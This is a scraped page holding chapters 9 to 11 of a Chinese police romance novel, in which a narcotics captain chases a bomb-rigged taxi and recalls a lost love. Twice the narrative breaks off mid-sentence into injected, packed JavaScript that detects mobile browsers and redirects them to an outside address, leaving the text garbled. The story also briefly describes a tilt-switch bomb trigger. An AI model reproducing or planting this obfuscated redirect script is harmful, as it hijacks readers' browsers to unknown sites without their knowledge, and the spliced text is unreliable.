她刚去禁毒口干,是被当成卧底预备役的。虽然现在算是领导层了,但要真有需要深入敌后的任务,首选估计还是她上,以至于她黑发飘飘到现在,警服一直压箱底。 毕竟长相气质摆在哪儿,谁见了都想高呼一声邪不压正诚是欺我。曲淮是邪,还有股难以言说的强大感。她像潺潺溪流里竖起的尖锐冰刺,再滚烫的阳光也融化不了她的锋利,循规蹈矩跟她沾不了半点边儿。 于是好糊弄的罪犯总觉得她不是什么正义之辈,她几次的卧底任务异常顺利。前些年曲淮还会受点小伤,一是肩处旧伤酥痒,偶尔犯一下都让人失力,二是吃了教条的亏,跟杂碎打架还要讲个章程。 就这么淬炼了几回,曲淮悟了。近两年的任务里都是全身而退,顶多扇人撇了指甲、踢人脚崴一下,没再给自己添新伤。 她自己其实有个挺迷信的想法。 难道是因为她还是个小画像师的时候就亲临爆炸现场了,直接一次受了百次的伤,所以身上就叠上了“祸福相抵”、“大难不死必有后福”这种主角Buff? 冷空气溜进来在她肩头打转。 麻酥感轻轻痒痒。 像极了她跟沈非岑搞暧昧那会儿心脏过电的感觉。 这旧伤真不太正经。 确实该补偿。 越想越歪,曲淮站起来把窗户关严,反光瞥见朱葛屏幕上大咧咧躺着个电子黄历,她一顿:“你这行转得跨度有点过了吧?” “我这不是想看看嫌疑人跟他老婆八字是个什么情况?”朱葛砸吧下嘴,“这每次被逮都是因为枕边人也太牛了,指定有点说法。” “......”曲淮双标,面对同事的迷信两眼一黑,收了上天开眼的心,感叹道,“子不语怪力蛇神。” 子真的不语。 稍后的电话验证了这个说法。 “曲队!我们布控时发现嫌疑人根本没在!”卓飞在电话里呜呜喳喳,“现场只有他老婆!说嫌疑人回趟家抓了把钱就上路开长途去了!” 9. 速度与激情 苏兰娟:“他冷藏运输我收银卖肉啊!!还我咋不好奇他开大货出门?!你爹给你爷扫二十来年坟你好奇不?!” 出租车司机:“我一整天都在拉客......” 苏兰娟:“跟我说?那丧良心的一年跟我说不了三句话!” 出租车司机:“行车记录仪都开着......” 苏兰娟怒了:“什么叫他哪天在家睡?!你专门戳我痛处是吧!” 出租车司机哆嗦:“警察同志,我、我真是良民......” 曲淮两手按了俩耳机在左右耳边,深呼吸了下:“到底怎么回事?” “刚筛了司机所说的道路监控,那天那辆出租车确实同时出现在了不同的地方,查了下VIN码,人开得没错。”朱葛叹了好大一口气,“接送方勇的是辆套牌出租车。” 耳机里一强一弱的声音还在继续。 曲淮舔了下唇,闭了下眼,手往下一甩。 “砰!” 耳机摔在桌子上。 “锁定那辆套.牌车和货车!” 禁毒支队没一声大气,纸页“簌簌”被翻出残影,键盘跟鼠标与手指接触的缝隙似乎摩擦出火星,刑警走来走去低声交流。 曲淮对着传来的监控入定。 屏幕上出租车放下人后就汇入车流,七拐八拐消失在监控里,曲淮在一块块儿可能有它行驶轨迹的小方格里查看,别说车了,就连车尾气都没瞧见。 视线扫来扫去,倏忽一顿,她盯住路旁,那儿叉了辆摩托车,曲淮把它放大,点击播放。 它锃亮的倒车镜在白天反光里空无一物,太阳下山后却一点点变得清晰,不规则长方形镜面,左下角赫然是稍显扭曲的黄白两色车屁股! 看了眼地址。 是酒店后街的监控。 曲淮一手翻起案情资料,打开到空调外机一页,上面标注了痕迹是由布料摩擦所致。开始没人关注这项,都认为是保洁打扫时想着糊弄两下所致,分局还专门问过两次,保洁稀里糊涂应来应去。 但现在。 布料摩擦...... 曲淮推门甩下句“我再去趟现场”,一脚油门开去了711酒店,经理战战兢兢地陪同,站在房间门外没敢进去,生怕落个破坏案发现场的名头。 连锁酒店的卫生间一般都不大,曲淮身子算薄的,挤进淋浴玻璃和墙的中间,贴在窗户上往外看。 “......是这里。” 酒店外墙跟隔壁楼间有条窄路,从后出去就是步行街,这个位置勉强能瞧见半点街景,跟方才屏幕上倒车镜里的大差不差。 如果有辆车停在那儿,正好能看见车头。 曲淮收回身子,给杨宗去了个电话:“你看下被害人的脚印是不是只存在于门口到沙发那一段路。” 听到确认的回音,曲淮:“行,那你让朱葛把方勇的社会关系查出来,然后筛会开车的,找他们四月十号都干嘛呢,有问题的估计就是套牌出租车司机了......是不是一伙的还不好说,你先找吧,挂了。” 曲淮低眼瞥着外机痕迹。 蹙眉看了半天,觉得纹路有些熟悉。 她又回头看看淋浴门把手上,空空如也。 走出几步,问经理:“酒店有设置地巾吗?” 经理一愣,点头:“有的有的!” * “啊?地巾是啥东西?......毛巾?铺地上拿脚踩?” “我焯那玩意儿是地巾?就挂淋浴玻璃一横杠上内个?!我回回都用它擦脸啊?!怎么也没个标注——” 曲淮面无表情,放冷气的视线在眼前形色各异的脸上一一扫过,所过之处凝成寒冰。卓飞的哀嚎戛然而止,人群顿时噤声。 “第一现场物品缺失为什么没人上报?分局是怎么做事的?登记在册的证物没有,连比对一下的人都没有?!” 明眼人都能看出来她现在的心情很糟糕。 没人吱声,曲淮锁定战战兢兢的卓飞:“我那天让你跟分局收尾,冒昧问下你是怎么跟的?他们又是怎么收的尾?” “这这这......曲队,这酒店的毛巾它哪都有,什么洗手台旁、浴缸架上、淋浴杆上、挂钩上等等等等,他们说不准真没注意到啊!”卓飞被推出来,“而且、而且,我记得当天还有人随口问了两句,那人都吓傻了。保洁支支吾吾连没有明确规定都扯出来了,就跟他们自个儿管理疏忽似的。” 曲淮黑眸沉沉。 “少生点气。”坐在一旁喝茶的范凤兰劝道,“你也知道刑侦勘察讲究个优先级。他们或许能听见尸体、脚印、或带水渍的杯子在案发地‘尖叫’着喊‘我’是线索,但很难去关注一条默默无闻的毛巾去向不明,更何况是在有数条同样物品的环境下。不至于这么上火,来,你先缓缓。小杨,说说你们现在的方向。” 杨宗瞥了眼曲淮,她站在窗边,玻璃倒映削弱她漂亮的五官,她今天来去匆匆比较急,头发散开了,卷起几个波浪披在肩后,使她一向鲜艳锐利的锋芒暗淡下去。 杨宗轻咳了声,把桌上的照片铺开:“对于套牌出租车司机,我们已经基本确定他是嫌疑人的同伙,也是嫌疑人与钱货分离的帮手。看这张,之前的非重点证据。” ——一个除身份证外空无一物的小方包。 “它包身的使用痕迹很温和,这和我们之前设想的嫌疑人夺财相悖,所以搁置。现在提出来看的话就很好解释了。因为死者是买家,她亲自从中取出了现金交给嫌疑人。” 卓飞恍然大悟,一手握拳在另手掌心敲了下:“还有一点,之前我就没想明白嫌疑人为什么知道死者有个隐蔽的暗兜放毒品,现在也很明确了!因为死者是当他面放到大致位置的!” “你脑子又长出来了?”曲淮冷冷道。 “对!没错!”杨宗拔高一瞬声音,又缓缓道来,“随后嫌疑人把钞票和毒品拿地巾包裹推下楼。”为了严谨,他又补充道,“目前的分析是这样。” 曲淮没对此做出补充,她压下火气,问朱葛:“你的进展怎么样?” 朱葛沧桑道:“还在全力追查。套.牌车反侦察能力不弱,专挑监控死角走,在几个路口频繁变换车道干扰追踪。方勇的货车信息已经发往各高速路口和交通枢纽,通知布控了。他的社会关系网特别乱,我们组的同志正努力提取中。” “把死者那边的摸排人员撤回来点,重点放在嫌疑人身上,虽然还没逮住他,但不是有他老婆吗?顺着挖。”曲淮说。 会议室里接二连三地点头应声,压抑的氛围却挥之不去。众人的目光聚集在她身上,她双手抱臂站在屏幕前,没有表情也是清艳绝伦,只是在场的都知道她手上的薄茧是铲除多少罪恶积累而成。 人渐渐回到各自岗位,屋子空荡荡,杨宗提前接收到她的眼神,走在人群尾巴把门关上。 他回头问:“曲队,还有什么吩咐?” “......”曲淮一抬眼,“把分局的参与度降下去,尽量别让他们接触重点,你懂我意思吗?” “——!” 杨宗怔了怔,一句话让他心里顿时冒出了个胆寒的猜想。 “如果出租车是套牌没冒出来,那条关键的地巾不知道会被瞒多久。”曲淮声音冷冰冰的,“这事可大可小,往小了说咱们早晚能发现司机不对劲,往大了说,就是有人在刻意阻慢办案进程。” “宁可信其有,不可信其无。你找你信得过的人打个招呼,让他们自己查查吧。”她说。 沉默三两秒,杨宗咽下口唾沫出去。 曲淮垂下眼,盯着案情分析。目前的还原已经足够贴近实际,也足够给现场所有线索一个解释,但还是有矛盾的地方。 可这矛盾似乎带来的是正影响? 她蹙起眉,没能想太久,就被人喊去签字。 屋外新生的绿芽发出生长的声音,冲破土壤焕发生机。支队办公室弥漫的低气压终结在他们敬爱的曲队宣布自费给大家定了超豪华午餐时。 几具宛如行尸走肉的躯体眼睛爆发出精光! 来协助的几个部门心里不约而同想,他们就知道,禁毒福利好!毕竟都是一个局的,哪怕头一回共事,他们对这位支队长的浓厚家庭实力也略有耳闻。 ——曲淮,独生女,爹从商,很牛的商。要不是她看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126116|196084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来斩断六根不问情、身手矫捷会家暴、头脑灵活难藏私房钱,就凭那家底、那工作、那气质,入赘的估计都一大把一大把了。 虽说不能成为家人,但此刻她比他们亲奶奶还祖宗,从头到尾发着光,一众人感激涕零。 只见她开口:“但是——” 气氛微微凝滞。 曲淮散漫吊人胃口:“但是人饭店有点忙得找个人去取,我看看......” “我来!” 发言的人一个趔趄险些把牙磕了。 曲淮一扬眉,瞳孔里坐着的站着的东倒西歪着的一个个都快熬穿了,没有最萎靡只有更萎靡。稍一偏头,瞥见个水灵灵的小姑娘。 还是刚毕业的大学生有精神啊。 她问:“小桃,你有驾照吗?” “有!” “那你......” 曲队欣慰的“去”字没能说出口。 “可是我高中考完驾照就没开过车!” “......”曲淮闭眼,“得了,我伺候你们一回得了。” 于是曲淮就在简桃碎碎念“我是不是辜负曲队了”、杨宗笑呵呵“正常都正常”、卓飞从茶水间探出头“改天哥带你练练”以及一众人期待且嗷嗷待哺的视线出门了。 开车上路的曲淮没觉得简桃辜负她,三分钟后,她觉得她可能要辜负饿扁的同志们了。 延昌是个不睡午觉的城市。说白了就是不管公司还是学校给的午间休息时间都很短,所以路况不存在午高峰一说,车流潺潺像小溪。 曲淮潜意识跟着放缓了节奏,还没等享受松弛的神经,黄白交接的闪电就从她眼前豁出去,那绝对是道实打实的残影—— 十字路口处红灯刚灭,对面像老人家排队买菜似的小车挨个起步,没等慢悠悠地踩下油门,一旁就横冲出道光,吓得第一名车躯一震!很明显车主用了比刚才快数倍的速度往死踩刹车。 目睹一切的曲淮:“Watchout......” 倒不是飙英文,只是震惊下有点卷舌。 一个经历过追车生死时速的大刑警不会耽误任何事,她直接边提速边给市局打去电话:“马鞍街十字路口往东,迅速让交警大队进行交通管制,锁定我车的位置提前开绿灯。一辆出租车从我眼前飞过去了,我追上去看看,你们尽量跟上。” 那边传来“砰”的掉落声,然后是手忙脚乱捡手机:“知道了曲队!” “......让精神好的开车。”曲淮已经一个摆尾甩过弯,盯着呼啸的车尾眯眼。 她爸对她的事业做不出太大贡献,必要还得避嫌,不过慈父之心排山倒海,她的硬件在她爸支持下统统是最顶的。 曲淮一个换挡一个狠踩,雷克萨斯的动力完全提上来变成公路闪电! 人很难摒弃联想的天赋,面对一个有异常的出租车,曲淮几乎在瞬间就把它跟套.牌车联系起来。然而前方的车简直能称之为撒丫子狂奔,她看不清车牌号,忍不住心道送上门的能是什么好玩意。 是不是也得追。 曲淮扫了几眼地图,没有犹豫地打满方向盘,挤入窄巷抄近道。黑车擦着墙冲出去的一刻,出租车在路口席卷而过。 ——主驾的侧脸直直撞入她眼眸,然后扬长而去。 那立体起伏真是顶凌厉的一挂,黑发有种不打理的乱感,刺在生冷的黑眸上,扑面而来就是犹如悬颈剑的压迫感,活生生一个高度危险分子。 曲淮手一松:“......岑川?” 他没看见她,直视前方。一手拿手机,一手控方向盘,没什么表情。 真行,岑川这人长相够唬人的,笑跟不笑天差地别。 曲淮双手重新握紧,引擎声蓦得增大,车直接往前干拔一大截!窗外风景像魂体分离。 曲淮不明白他青天白日为什么要上演速度与激情。 更不知道他拿手机是要发圈还是自拍,当然也不排除他打算趁肾上腺素飙升跟人调情的可能性。 不管是什么,她都得打断他了。 曲淮拨通前天晚上的号码,双眼紧盯奔腾的黄白车,冷声道:“岑川,停车。” 10. 速度与激情2 曲淮以为岑川作为狂野飙车肇事人,给她的回答至少该有被警察逮住的慌张,或者是掩耳盗铃的狡辩,再不济一连串忙音也算正常。 没想到短暂的沉默过后,男人低笑渐深。从细碎到四面八方,带了几分放肆,扯出难以言喻的餍足,像早春突飞猛进又无所顾忌生长的杨树,枝条还违和的柔软。 疯子不能受刺激。 曲淮面无表情:“停车,然后我送你去精神病院。” “不、不是,”岑川还没止住笑,呛了下,“曲警官——” 熟悉的称呼一出,自知不会有什么爱听的话,曲淮让他笑到突突的心跳还是缓了些。 “我停不了了。”他惋惜。 曲淮脑中的弦绷直。 “刹车被动了手脚,”岑川似乎笑散了嗓,腔调都软趴趴下去,“哦,还有安全带。” 他说起来闲庭信步,几个字逛悠进脑子里,把曲淮绷紧的弦晃断,她问出最关键:“怎么回事?” “大概真如曲警官所说,鬼敲门了。”岑川道,“延昌的路不好走,我琢磨着买辆二手车通行,查了查发现退休出租车比较便宜,就发了个贴,早上有人找我,五千一辆,简直是初恋价啊......” 他感慨完:“结果油门踩下就一去不复返了。” 曲淮:“车牌号。” 岑川没听清:“嗯?” “念给我车牌号。”曲淮深吸口气。 在第一时间看见这辆车,她怀疑它可能是那辆套牌的出租车,但无凭无据。见到司机是岑川,她打消了片刻念头。现在听完他说的话,警铃彻底疯响。 听到电话传出的汉字字母数字与记忆的无二。 曲淮咬牙:“你真是撞鬼了。” 她也是。 曲淮不信巧合。 他们刚查出车有问题,车就能被立刻抛售。 她本该为此惊寒。 但在极致飙升的心率和车速下,她就跟轮胎与地面间迸溅出的火星一样,滚烫激烈。出租车绝对被改装过,她快把油门踩出地盘都拉不近距离,好在没再变长,他们时速差不多。 “警官,前面好像很空,是清道了吗?”被扔在副驾开了免提的手机突然发问。 曲淮侧拐看了下,黄白小车往前一览无余,应该是交警把她可能飞驰的道路入口都封闭了,倒是很有效率。 “嗯,”曲淮听出他的想法,“你想摩擦撞停?” 岑川没什么紧张感:“毕竟才五千,要是让警官帮我截停我肯定赔不起,得不偿——” 在松松散散的背景音里,曲淮眼睁睁见前车轨迹猛地冲破直线屏障!几乎是横过去,两车距离因此跟磁铁似的黏了一截,她瞧见什么,骤然失声,截断他的话—— “别!” 出租车极其听话,蓦地直回去! “怎么了?”岑川嗓音沉了。 曲淮一瞬被倾盆而出的凉意浇了个透:“你不能停。” “......” “车尾梁后被黑色胶带捆了炸药,它连着透明管,两端是黄铜片,中间有滚珠,停了就会接通电路,然后你就会......”曲淮快速解释,临了意识到对面儿的人被当成替死鬼,难得委婉,“驾鹤西去。” 岑川一时无言:“曲警官真有职业道德,这时候还不忘安慰我这个倒霉的无辜市民。” 曲淮根本顾不上对他的偏见:“我记得你很惜命,所以照我说的做,前面路口右拐是棕地,你把安全带扯掉跳车,我撞过去增加惯性时长,懂了吗?” “好啊。”岑川应得轻巧。 曲淮一手放在手刹上,紧盯前方变动,仪表盘像突然被打开的雨刷器。离路口越来越近,她精神高度集中,在心底盘算岑川的距离,五十米、三十米、十米,就是现在! ——“岑川!!”她怒喝。 出租车一个探头去了左边。 “嗞”一声刺耳,雷克萨斯被晃了下,在原地磨出道深刻的印记。 曲淮忍无可忍:“你怎么想的?要一路火花带闪电开去居民区放烟花?化身愤青拿命报社吗?” “警官,你这样我好受多了。”岑川接受良好,“我只是觉得一个能把炸弹放了车尾的人不会蠢到让我简单逃生,万一安全带有机关呢?至于我开去哪儿,你就别管了。比起这个,我更希望你能乐观地为我祈祷,说不定结果会是车不毁人不亡呢。毕竟你好像也挺在意这车的,我呢,当然想让......”他一笑,“曲警官想要,曲警官得到。” 曲淮瞳孔紧缩:“你——” “嘟。” 他把电话挂了! 还提速了! 他要甩开她! 曲淮腾出只手,用凭生最大的耐心回拨过去,占线,忙音仿佛变成密集的刺一根根扎进她大脑。 攥紧方向盘的指节泛青泛白,她想不通那个混蛋是在托孤还是说遗言,亦或者在跟他撩过的女性温存,来一出抵死缠绵的独角戏。 他到底要去哪儿?! 迷走神经罢工,曲淮的感知尽数聚焦在道路上,惊怒到一定点,她异常平静。死咬着出租车尾巴穷追不舍,搜刮它可能飞驰的方向。 太阳穴骤地一跳。 她把电话拨给指挥中心:“目标车辆正沿内门路向北逃逸......不、不是逃逸,车上有爆.炸.物,司机可能试图将危险车辆引导至安全区域。立刻在他有几率到达处疏散人员,设隔离带,通知防爆组赶往......城西废弃码头。” 她不能给出太多区域,声音冷静得不像话。 岑川,希望你不舍得自己那条命,希望你是个有人性的混蛋。 出租车内。 倒车镜里的黑色渐渐消失,他的车速已经提到极限,心脏却降了下去,收回视线,岑川说:“......不用了,她不在后面了。” 电话另端的金局急到不知该说什么。 快中午他接到岑川的消息,大意是他逛二手车时看见了酒店门口的出租车,线下付款给中介开走,但车被人动了手脚停不下来。他会把车开到市局附近,让金局想个办法拦下,然后把他放了把车弄走。 于是金局以演练为由让交警配合。 接着岑川就失联了。 再打过来电话,就是爆炸性消息,真会爆炸的那种,还让他把曲淮调离。 金局怒道没借口,没想到曲淮先撤了。 “你这是不把自己的命当回事!你舍得呐!”金局道。 “舍不得。”岑川胸涩得厉害,微弱地扯了下唇,“真是舍不得了。” “你打算怎么办?我能不能配合?”金局问。 “您要配合不是帮我吸引火力了吗?”岑川言简意赅,“开到河边弃车,降低车损。” 金局一琢磨是个保命的做法:“所以你让我把曲淮调走是怕她追着车查你?我还以为——哎!你这运气!” “运气很好。”岑川低垂着眼,无锋无芒,难以看出在想什么,只是凭白有些难过,他平静道,“我专心开车了,您保重。” 电话挂断。 金局到底怕分散岑川注意,没有再打来。 他说错了。 岑川哪里会怕曲淮追着查他,左右查不出什么。 他只是即使知道她有上刀山下火海的能力,也想把她推得离危险远远的。 这是种自私,是他的劣根性。 岑川真的舍不得。 见她鲜活生动,听她喜怒厌憎,都在给舍不得滚雪球。 一眼,他关闭的自私就生芽。 想坦白,想拥有,想爱。 但更怕。 711的案子牵扯得浅不了,公安内部都可能有助力,她一定会陷入危险。他不能干涉她的选择,所以他咽下在金局面前几欲脱口的调她走,想在齐闻走下一步前,跟她一起破案,让她避开。 能推多远,就推多远。 还好。 卖家有提防的心,只敢在杂乱的小网站上出手。赶巧他十几年下来知道不少,一个个筛终于找到,打了一天口水仗,卖家突然急于甩掉。唯一的要求就是当面开走,虽然正经原因是怕被事后退款,但其中有没有猫腻连想都不用想。 不过岑川动作到底不能太大,他最多顺水推舟起个辅助作用。 降不下速的时候他没多大感觉,这手段他都体验腻了。 就是没想到会碰见曲淮,岑川很难形容出电话接通那刻的感受,他突然觉得世界真奇妙真美好,曲淮在他生命里似乎总是很像天降神兵,他为这个想法有着难以掩饰的舒畅。 是他不好。 之后曲淮喊出停,告诉他有炸弹。 他觉得上天真有够眷顾他。 还好他开走了这辆车,还好她总比死亡来临得快。 还好他没漏出过任何破绽。 后视镜里,岑川鼻挺眸锐,抬手在密闭空间挥出劲风,打表器被掰下后孤注一掷,它砸出窗外!一时猛烈的风声压过陈旧引擎,副驾车窗“砰”下炸开! 岑川脸上被划出道血痕。 他无动于衷地捞过个玻璃碎片。 安全带条小幅度晃动。 岑川计算着时间。 * 到城西废弃码头的路程顶多剩几分钟,除了随风摇曳的河畔小野菊,曲淮还没看见黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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岑川精神猛然一震,出租车在千钧一发之际展现出了惊人的操控性,车头猛地一偏。 他顷刻意识到,曲淮的主意哪是让车在河里炸减少车损,她压根没想给它炸的机会。 她根本不是从侧边来,她是冲他车头撞! 可前边就是河啊。 岑川浑身毛孔在瞬间张开,他单手掐死了方向盘,车身以一个近乎扭曲的角度擦着雷克萨斯而过,仪表盘的指针颤颤巍巍,轮胎与土地摩擦发出裹满沙砾的尖叫。 这极限的操作似乎触发了什么。 出租车尾部猛地冒出一股黑烟,车速骤然下降了一瞬,引擎发出不祥的嘶吼。 他顾不上了。 曲淮挑的位置太冒险,即使他没碰到她,她也在河边摇摇欲坠。 一切就在眨眼间。 岑川裹挟着种凶悍又恐惧的意味跳车。特警、防爆警迅速接连蹿上主驾。岸边巨大车影先是发出“咔”一声,再是响起沉闷的水声,车身骤然歪下倒进。 岑川给曲淮争取了几秒的摇摇晃晃的时间,她选择了先把车门打开,避免掉下去后水压顶门不好出去。 冰凉触感顷刻淹没全身,曲淮不慌不忙。她早在十七岁被小区水池淹得差点没爬上去后,就下定了要把游泳练得如鱼得水的决心了,后在二十岁春,她成功点亮技能,并捎带了潜水一起融会贯通。 她摸索着打开安全带,寻思她车的卷收器一猛拉就容易触发锁死,不方便得很,正好趁这次把车换了。 曲淮向上游去。 河很清澈,甚至有了骄阳的光,水下明亮。她思绪含糊停顿,睁开了朦胧眯住的双眸,把画面尽收眼底。 宽冽轮廓背身在她上面,低头瞧见她,很快回身往下到她眼前。 霎时,曲淮只觉水流倒灌耳膜。不知为何她双眸更加瞪大,浮动在水里的双腿都不受控地挣动一下。 岑川以为她惊慌,捉住她的手腕往上,整个人都是绷起来的。 曲淮没反抗,单是盯着他的背影。 这样的注视只维持了一秒。 下方的车横生许多气泡,透过它们,曲淮看不清岑川了。 其实大体还是有的。 只是他好像突然压下去了什么,就像被拨回了齿轮一样,拨动河水的手掌都沾上漫不经心的气氛,但实在不匹配他。 不匹配他叩在她肌肤上的手。 那么克制有礼又不露缝隙。 不敢碰,还不敢放开。 水面涟漪,两人探头,岑川声音沙哑,带着点戏谑,仿佛刚才在鬼门关走了一遭的人不是他:“警官,追尾全责,所以你追头?” 曲淮自顾自爬上。 没再看他一眼,转过的透澈眸子里,情绪似岸边暗浪。 11. 演技派(下章入V) 分手的那年......也不能说是分手,沈非岑毫无预兆地蒸发,连句话都没留下。曲淮以为他是碰到难题不想拖累她,以为他是身患绝症不想她伤心,以为他见义勇为打了个富二代被拘留了,以为他不幸碰到人口贩卖被拐进大山,以为他被电诈诓骗出国了,多荒谬的都有。 她给他的离开想了一千零一个借口。 惶惶到第三天,曲淮报警了。 得到的回复大意是“他很安全,但不愿与你联系”。 曲淮没认。 她认不了。 她还是觉得他有苦难言,怕她担心所以让民警那样告诉她。她发去的消息越来越多,各种各样,耍宝玩梗,小心试探,难过啜泣,无时不刻在给他搭暗示的梯子。 十九岁的曲淮骄傲又恳切。 她太过一往无前。 不管认定什么都不会给自己余地。 沈非岑让她认定了。 她不会怀疑,不会动摇。 于是她求助长辈,求助认识的人,在各地找网友散财,祈祷着谁碰见可以帮帮他,别让他过得不好。那段时间在她人生中可以被称之为受骗高峰期,但她不甚在意,总想着万一呢,万一有个真的呢。 你看,他让她爱到这个地步。 直到“滴”的一声。 沈非岑接通了视频。 蓦地出现的黑屏让她整个人呆愣住,接连一周的心绪不安化为了天大委屈。曲淮被失而复得砸到头痛,喘息声一瞬艰难起来。 可手机那边的人似乎并未发现她。 也是。 屏幕全黑,应该是被倒扣住的。 曲淮张张嘴,刚想彰显一下存在感,喉咙滚动半天,无措突然包裹住她。最后,干涩的唇只吐出了一个音节:“啊......” 但是这用尽全力的话,却被压了个无影无踪。 “好好好,我发誓,我只喜欢你,也只喜欢过你的。”少年语调缓缓绵长,像午后暖意正当时的阳光,慵懒还带有几分偏爱。 曲淮一时没反应过来。 但她突然看见好多。 天上渐暗的乌云,潮冷的矮墙砖块,湿腻的沙地土坑。 黑漆漆的手机里,沈非岑的声音还在传出:“这话用得着你说吗?我要是对别人心动自己都觉得像有案底了,除了你谁怎样都不关我的事,不管是给我掏心掏肺还是为我撕心裂肺,我都懒得搭理,知道什么叫雁过不留毛吗?” 他哼笑声:“.......没真有,逗你的......逗也不行?那你把我终身监禁了吧,你给的我都巴不得呢。” 二十出头的沈非岑说起话来柔缓又眷恋,听都能听出来他是个会把世间熠熠都捧到心上人眼前的少年骑士,而他也熠熠。插科打诨地哄着捧着,明亮还专注,让人心软。 曲淮终于意识到什么了。 那一刻,她像一个快要登顶珠穆朗玛峰突遇雪崩的爬山客,一切一切,被砸了个稀碎。但她太轴了,轴到非要拿被泥沙嵌痛的手攀住冰尖。 曲淮牙齿打颤,张开口,准备问个明白。 可沈非岑恰巧与她同步。 “什么,你在门口?真来查我了?快进来。”这次他说得不算自在,似乎口不对心。 曲淮却无暇顾忌。 她只发出了个音节。 在他说出的一句话里显得突兀又不合时宜,恍惚还有点尖锐。 电话那头随之陷入一片死寂。 紧接着脚步声传来。 手机被拿起。 “扑通。” 有什么东西掉入了水中。 毫不留情、没有停顿。 曲淮什么都没看见。 她眼前模糊,屏幕也模糊。 他把手机扔进了酒杯里。 整个世界像上了一层浅棕色的滤镜,在最后暗掉的那几秒,她看见他颀长的身影,背对她张开了双臂。 她听见“滋滋”的电流声,听见快要被他拥入怀里的女生问他:“怎么把手机扔了?” 他说:“早坏了,放那儿忘了” 轻描淡写、言简意赅。 像她好半天回过神,颤抖着拨打他的电话时,客服的通知声:“您好,您拨打的电话已关机......”一样冷漠无情。 曲淮想。 所以她是他懒得搭理的案底吗? 是吧。 ...... 她不会替别人回答。 她要做错事的人亲口认下罪行。 至少结局不该是他全身而退,她毫无头绪。 没错,曲淮回头一看,才发现她对沈非岑唯一能称得上是真实的了解,似乎就只剩下手机被酒水浸透报废前一秒的背影画面。 于是朝朝年年,画像废纸堆叠。 人体骨骼和犯罪心理学有关的书被翻出翘边。 你看,他让她爱到那个地步。 可那注定是张无法完成的画作。 毕竟画像是带主观认知的技术,就像有人说肥头大耳是丑,有人说贼眉鼠眼是丑一样。对素不相识的人曲淮可以做到置身事外、心无旁骛地构思。 但沈非岑不行。 涉及他。 她的意识就会被浸满颜料的情绪画笔涂抹,她的回忆总会在无意间添加许多色彩。 她只能在心底描摹千万遍。 ——那道透过水流光影斑驳的背影。 * 岑川在岸边回答着问话,双手抖着湿透的上衣,水迹勾勒出他后背健硕的肌理线条,倒映在曲淮的瞳孔,她静静地看着。 出租车经过防爆组上下拼尽全力的抢救没炸。 记笔录的警察正询问着替死鬼详细信息,听完了觉得他真是个倒霉蛋。 倒霉蛋煞有其事地感叹道:“便宜没好货啊。” 警察在心里“嗯嗯嗯嗯”强烈认同,本儿上蓦地被溅上几个水珠,他护在胸前:“你为什么下水?” 岑川带着复杂情绪瞥他眼:“怕爆炸呗。” 警察觉得好像被侮辱了智商:“......哦。”他顿顿,好像也没什么可说的了,“最近不要离开延昌,后续可能还有需要你配合调查的地方。” 岑川抬两下下巴。 一回身,发现曲淮正在看他。 她在日光下,湿发还带有亮晶晶的水珠,黏在锁骨处,更衬出她皮肤白皙。她剔透的眼睛似乎会放闪,把他包裹在润润的瞳膜后,在淅沥着小雨的眼睫下,遮住挡住。 她走过来:“还能用吗?” 岑川跟着她的步伐抬脚,瞥了眼拎着的手机:“估计悬了,我再不贪便宜了,可真是又丢西瓜又丢芝麻,五千接五千。” 他说话轻快还带有着拉近距离的小市侩,像甩钩的姜太公,鱼池里全是愿者。抬眼看人的时候总要带几分笑意,把那点儿锐利化成容易让人想歪的进攻张力。 曲淮一扫掉水的手机,目视前方应了声。 他拿什么东西都松松散散的,像是下一刻这东西就能从他手里脱落砸到地上,唯独刚才揽她时,指节绷得厉害,劲儿却没多大。 岑川咂舌想说些什么,被她打断。 “在刹车失灵的车上开怀大笑,对炸弹没多大恐惧心理,甚至能快速想到解决办法,反应快到恐怖,还有......”曲淮歪头,“会水,这倒是不算起眼。对此你有什么想说的吗?岑先生。” 岑川沉吟一秒,端正点头:“警官,你为什么要强调我的快?” “......” “男人不能夸快。”他凛然道,“得夸帅。当然要是快会吸引你的话我也愿意。” 他扯唇。 曲淮头一次没反唇相讥。 她问:“做什么工作的?” “戳我心了,”岑川叹气,“一个背井离乡远赴他城的人除了失业找出路还能是什么?” 曲淮慢慢重复:“找出路?” 似乎在指他列表的一长串约会。 “我呢,是个奉行成家立业双线并重的人。”岑川竖起三指,“有时候缘分来了挡都挡不住,就像现在。” 他笑得散散漫漫鬼话连篇:“警官,你说这救命之恩该怎么算?我该去求神拜佛让你允许我以身相许吗?” 曲淮:“不是我救的你。” 岑川抬起胳膊,刀尖朝内递去被擦干净的刀:“怎么还赖账呢?” 曲淮侧眸瞥过去,接过,端详几秒,给出答案:“岑川,你很信我啊。我朝你扔刀你躲都不躲,真不怕我一个没瞄准扎你身上?” 她言辞缓缓,一语双关。 曲淮的脸冷白,眉和瞳却实在深黑,唇色还鲜亮,发尾在脖颈划出到水迹,仿佛是从鲜艳水彩上流下的未干湿意。 岑川:“也可以说是吓傻了。” 见曲淮唇角下垂有点儿烦了 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“搞赛车的。”岑川似乎正经起来,下一秒,“你喜欢吗?” 曲淮没接茬:“在哪儿?” “国外。”岑川答得利索。 曲淮突然也笑了,就跟冰释前嫌似的:“是吗,我还以为你从北京来的呢。” 岑川这回真没懂:“嗯?” 曲淮:“你特像那儿火中火的。” 岑川还是没明白:“根正苗红?” “火中火不得被烤吗?”曲淮收了笑,冷冰冰道,“鸭。” “......”岑川被怼笑了。 曲淮看他像个愉悦犯。 